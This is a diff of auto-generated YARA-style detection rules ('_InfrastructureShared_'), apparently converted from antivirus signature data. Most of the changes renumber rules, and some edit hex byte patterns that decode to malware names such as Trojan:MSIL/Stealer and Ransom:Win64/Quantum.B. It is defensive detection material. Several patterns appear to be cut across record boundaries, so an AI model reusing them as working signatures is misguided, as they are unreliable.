_InfrastructureShared_1831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19058,7 +19182,7 @@ rule _InfrastructureShared_1821{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1822{ +rule _InfrastructureShared_1832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19068,7 +19192,7 @@ rule _InfrastructureShared_1822{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1823{ +rule _InfrastructureShared_1833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19078,7 +19202,7 @@ rule _InfrastructureShared_1823{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1824{ +rule _InfrastructureShared_1834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19088,7 +19212,7 @@ rule _InfrastructureShared_1824{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1825{ +rule _InfrastructureShared_1835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19098,17 +19222,27 @@ rule _InfrastructureShared_1825{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1826{ +rule _InfrastructureShared_1836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {54 45 41 41 6c 67 6f 55 73 65 2e 41 00 01 00 1a 01 8b d1 bb 20 37 ef c6 57 6a 20 89 55 fc 8b 32 8b 7a 04 5a 8b ce 8b c6 c1 e9 05 00 00 78 39 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 } //21283 + $a_46_0 = {54 45 41 41 6c 67 6f 55 73 65 2e 41 00 01 00 1a 01 8b d1 bb 20 37 ef c6 57 6a 20 89 55 fc 8b 32 8b 7a 04 5a 8b ce 8b c6 c1 e9 05 00 00 78 39 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 } //21283 condition: ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1827{ +rule _InfrastructureShared_1837{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 46 21 4d 54 42 00 01 00 0d 01 61 d2 9c 11 06 17 58 13 06 11 04 17 58 00 00 78 39 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 0c 01 7b 49 4e 4a 45 43 54 44 41 54 41 7d 00 00 78 39 00 00 01 00 01 00 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_1838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19118,7 +19252,7 @@ rule _InfrastructureShared_1827{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1828{ +rule _InfrastructureShared_1839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19128,7 +19262,7 @@ rule _InfrastructureShared_1828{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1829{ +rule _InfrastructureShared_1840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19138,7 +19272,7 @@ rule _InfrastructureShared_1829{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1830{ +rule _InfrastructureShared_1841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19148,7 +19282,7 @@ rule _InfrastructureShared_1830{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1831{ +rule _InfrastructureShared_1842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19158,7 +19292,7 @@ rule _InfrastructureShared_1831{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1832{ +rule _InfrastructureShared_1843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -19168,7 +19302,7 @@ rule _InfrastructureShared_1832{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1833{ +rule _InfrastructureShared_1844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -19178,7 +19312,7 @@ rule _InfrastructureShared_1833{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1834{ +rule _InfrastructureShared_1845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -19188,7 +19322,7 @@ rule _InfrastructureShared_1834{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1835{ +rule _InfrastructureShared_1846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -19198,29 +19332,19 @@ rule _InfrastructureShared_1835{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1836{ +rule _InfrastructureShared_1847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 44 68 61 5f 42 6f 72 6f 6e 00 01 00 08 01 31 10 83 c0 04 83 e9 01 01 00 04 01 01 9f ea 34 01 00 08 01 2b cb 81 f9 e0 01 00 00 00 00 78 39 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 47 50 50 } //18467 - $a_54_1 = {00 04 00 0b 01 11 0a 08 61 11 0b 61 13 0c 11 10 00 00 78 39 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 43 68 61 63 68 61 45 6e 63 00 01 00 04 40 65 78 70 61 01 00 04 40 6e 64 20 31 01 00 04 40 32 2d 62 79 01 00 04 40 74 65 20 6b } //8518 - $a_3a_2 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 51 75 61 6e 74 75 6d 2e 42 00 01 00 11 03 66 f7 d8 48 1b c9 90 01 01 23 f1 33 d2 48 8d 90 00 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 44 69 73 6b 53 68 65 6c 6c 2e 42 21 64 68 61 00 01 00 0a 01 83 c2 03 81 f9 37 01 00 00 7c 00 } //0 + $a_54_0 = {3a 44 68 61 5f 42 6f 72 6f 6e 00 01 00 08 01 31 10 83 c0 04 83 e9 01 01 00 04 01 01 9f ea 34 01 00 08 01 2b cb 81 f9 e0 01 00 00 00 00 78 39 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 43 68 61 63 68 61 45 6e 63 00 01 00 04 40 65 78 70 61 01 00 04 } //18467 + $a_20_1 = {01 00 04 40 32 2d 62 79 01 00 04 40 74 65 20 6b 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 51 75 61 6e 74 75 6d 2e 42 00 01 00 11 03 66 f7 d8 48 1b c9 90 01 01 23 f1 33 d2 48 8d 90 00 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a } //28224 + $a_57_2 = {6e 33 32 2f 55 44 69 73 6b 53 68 65 6c 6c 2e 42 21 64 68 61 00 01 00 0a 01 83 c2 03 81 f9 37 01 00 00 7c 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //28257 condition: - ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*8518+(#a_3a_2 & 1)*0) >=3 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28224+(#a_57_2 & 1)*28257) >=3 } -rule _InfrastructureShared_1837{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 47 50 50 46 21 4d 54 42 00 04 00 0b 01 11 0a 08 61 11 0b 61 13 0c 11 10 00 00 78 39 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 43 68 61 63 68 61 45 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_1838{ +rule _InfrastructureShared_1848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -19232,7 +19356,7 @@ rule _InfrastructureShared_1838{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*-2202+(#a_43_3 & 1)*19522) >=4 } -rule _InfrastructureShared_1839{ +rule _InfrastructureShared_1849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19242,7 +19366,7 @@ rule _InfrastructureShared_1839{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1840{ +rule _InfrastructureShared_1850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19252,7 +19376,7 @@ rule _InfrastructureShared_1840{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1841{ +rule _InfrastructureShared_1851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19262,7 +19386,7 @@ rule _InfrastructureShared_1841{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1842{ +rule _InfrastructureShared_1852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19272,7 +19396,7 @@ rule _InfrastructureShared_1842{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1843{ +rule _InfrastructureShared_1853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19282,7 +19406,7 @@ rule _InfrastructureShared_1843{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1844{ +rule _InfrastructureShared_1854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19292,7 +19416,7 @@ rule _InfrastructureShared_1844{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1845{ +rule _InfrastructureShared_1855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19302,7 +19426,7 @@ rule _InfrastructureShared_1845{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1846{ +rule _InfrastructureShared_1856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19312,7 +19436,7 @@ rule _InfrastructureShared_1846{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1847{ +rule _InfrastructureShared_1857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19322,7 +19446,7 @@ rule _InfrastructureShared_1847{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1848{ +rule _InfrastructureShared_1858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19332,7 +19456,7 @@ rule _InfrastructureShared_1848{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1849{ +rule _InfrastructureShared_1859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19342,7 +19466,7 @@ rule _InfrastructureShared_1849{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1850{ +rule _InfrastructureShared_1860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19352,7 +19476,7 @@ rule _InfrastructureShared_1850{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1851{ +rule _InfrastructureShared_1861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19362,7 +19486,7 @@ rule _InfrastructureShared_1851{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1852{ +rule _InfrastructureShared_1862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19372,7 +19496,7 @@ rule _InfrastructureShared_1852{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1853{ +rule _InfrastructureShared_1863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19382,7 +19506,7 @@ rule _InfrastructureShared_1853{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1854{ +rule _InfrastructureShared_1864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19392,7 +19516,7 @@ rule _InfrastructureShared_1854{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1855{ +rule _InfrastructureShared_1865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19402,7 +19526,7 @@ rule _InfrastructureShared_1855{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1856{ +rule _InfrastructureShared_1866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19412,7 +19536,7 @@ rule _InfrastructureShared_1856{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1857{ +rule _InfrastructureShared_1867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19422,7 +19546,7 @@ rule _InfrastructureShared_1857{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1858{ +rule _InfrastructureShared_1868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19432,7 +19556,7 @@ rule _InfrastructureShared_1858{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1859{ +rule _InfrastructureShared_1869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19442,7 +19566,7 @@ rule _InfrastructureShared_1859{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1860{ +rule _InfrastructureShared_1870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19452,7 +19576,7 @@ rule _InfrastructureShared_1860{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1861{ +rule _InfrastructureShared_1871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19462,7 +19586,7 @@ rule _InfrastructureShared_1861{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1862{ +rule _InfrastructureShared_1872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19472,7 +19596,7 @@ rule _InfrastructureShared_1862{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1863{ +rule _InfrastructureShared_1873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19482,7 +19606,7 @@ rule _InfrastructureShared_1863{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1864{ +rule _InfrastructureShared_1874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19492,7 +19616,7 @@ rule _InfrastructureShared_1864{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1865{ +rule _InfrastructureShared_1875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19502,7 +19626,7 @@ rule _InfrastructureShared_1865{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1866{ +rule _InfrastructureShared_1876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19512,7 +19636,7 @@ rule _InfrastructureShared_1866{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1867{ +rule _InfrastructureShared_1877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19522,7 +19646,7 @@ rule _InfrastructureShared_1867{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1868{ +rule _InfrastructureShared_1878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19532,7 +19656,7 @@ rule _InfrastructureShared_1868{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1869{ +rule _InfrastructureShared_1879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19542,7 +19666,7 @@ rule _InfrastructureShared_1869{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1870{ +rule _InfrastructureShared_1880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19552,7 +19676,7 @@ rule _InfrastructureShared_1870{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1871{ +rule _InfrastructureShared_1881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19562,7 +19686,7 @@ rule _InfrastructureShared_1871{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1872{ +rule _InfrastructureShared_1882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19572,7 +19696,7 @@ rule _InfrastructureShared_1872{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1873{ +rule _InfrastructureShared_1883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19582,7 +19706,7 @@ rule _InfrastructureShared_1873{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1874{ +rule _InfrastructureShared_1884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19592,7 +19716,7 @@ rule _InfrastructureShared_1874{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1875{ +rule _InfrastructureShared_1885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19602,7 +19726,7 @@ rule _InfrastructureShared_1875{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1876{ +rule _InfrastructureShared_1886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19612,7 +19736,7 @@ rule _InfrastructureShared_1876{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1877{ +rule _InfrastructureShared_1887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19622,7 +19746,7 @@ rule _InfrastructureShared_1877{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1878{ +rule _InfrastructureShared_1888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19632,7 +19756,7 @@ rule _InfrastructureShared_1878{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1879{ +rule _InfrastructureShared_1889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19642,7 +19766,7 @@ rule _InfrastructureShared_1879{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1880{ +rule _InfrastructureShared_1890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19652,7 +19776,7 @@ rule _InfrastructureShared_1880{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1881{ +rule _InfrastructureShared_1891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19662,7 +19786,7 @@ rule _InfrastructureShared_1881{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1882{ +rule _InfrastructureShared_1892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19672,7 +19796,7 @@ rule _InfrastructureShared_1882{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1883{ +rule _InfrastructureShared_1893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19682,7 +19806,7 @@ rule _InfrastructureShared_1883{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1884{ +rule _InfrastructureShared_1894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19692,7 +19816,7 @@ rule _InfrastructureShared_1884{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1885{ +rule _InfrastructureShared_1895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19702,7 +19826,7 @@ rule _InfrastructureShared_1885{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1886{ +rule _InfrastructureShared_1896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19712,7 +19836,7 @@ rule _InfrastructureShared_1886{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1887{ +rule _InfrastructureShared_1897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19722,7 +19846,7 @@ rule _InfrastructureShared_1887{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1888{ +rule _InfrastructureShared_1898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19732,7 +19856,7 @@ rule _InfrastructureShared_1888{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1889{ +rule _InfrastructureShared_1899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19742,7 +19866,7 @@ rule _InfrastructureShared_1889{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1890{ +rule _InfrastructureShared_1900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19752,7 +19876,7 @@ rule _InfrastructureShared_1890{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1891{ +rule _InfrastructureShared_1901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19762,7 +19886,7 @@ rule _InfrastructureShared_1891{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1892{ +rule _InfrastructureShared_1902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19772,7 +19896,7 @@ rule _InfrastructureShared_1892{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1893{ +rule _InfrastructureShared_1903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19782,7 +19906,7 @@ rule _InfrastructureShared_1893{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1894{ +rule _InfrastructureShared_1904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19792,7 +19916,7 @@ rule _InfrastructureShared_1894{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1895{ +rule _InfrastructureShared_1905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19802,7 +19926,7 @@ rule _InfrastructureShared_1895{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1896{ +rule _InfrastructureShared_1906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19812,7 +19936,7 @@ rule _InfrastructureShared_1896{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1897{ +rule _InfrastructureShared_1907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19822,7 +19946,7 @@ rule _InfrastructureShared_1897{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1898{ +rule _InfrastructureShared_1908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19832,7 +19956,7 @@ rule _InfrastructureShared_1898{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1899{ +rule _InfrastructureShared_1909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19842,7 +19966,7 @@ rule _InfrastructureShared_1899{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1900{ +rule _InfrastructureShared_1910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19852,7 +19976,7 @@ rule _InfrastructureShared_1900{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1901{ +rule _InfrastructureShared_1911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19862,7 +19986,7 @@ rule _InfrastructureShared_1901{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1902{ +rule _InfrastructureShared_1912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19872,7 +19996,7 @@ rule _InfrastructureShared_1902{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1903{ +rule _InfrastructureShared_1913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19882,7 +20006,7 @@ rule _InfrastructureShared_1903{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1904{ +rule _InfrastructureShared_1914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19892,7 +20016,7 @@ rule _InfrastructureShared_1904{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1905{ +rule _InfrastructureShared_1915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19902,7 +20026,7 @@ rule _InfrastructureShared_1905{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1906{ +rule _InfrastructureShared_1916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19912,7 +20036,7 @@ rule _InfrastructureShared_1906{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1907{ +rule _InfrastructureShared_1917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19922,7 +20046,7 @@ rule _InfrastructureShared_1907{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1908{ +rule _InfrastructureShared_1918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19932,7 +20056,7 @@ rule _InfrastructureShared_1908{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1909{ +rule _InfrastructureShared_1919{ meta: description = 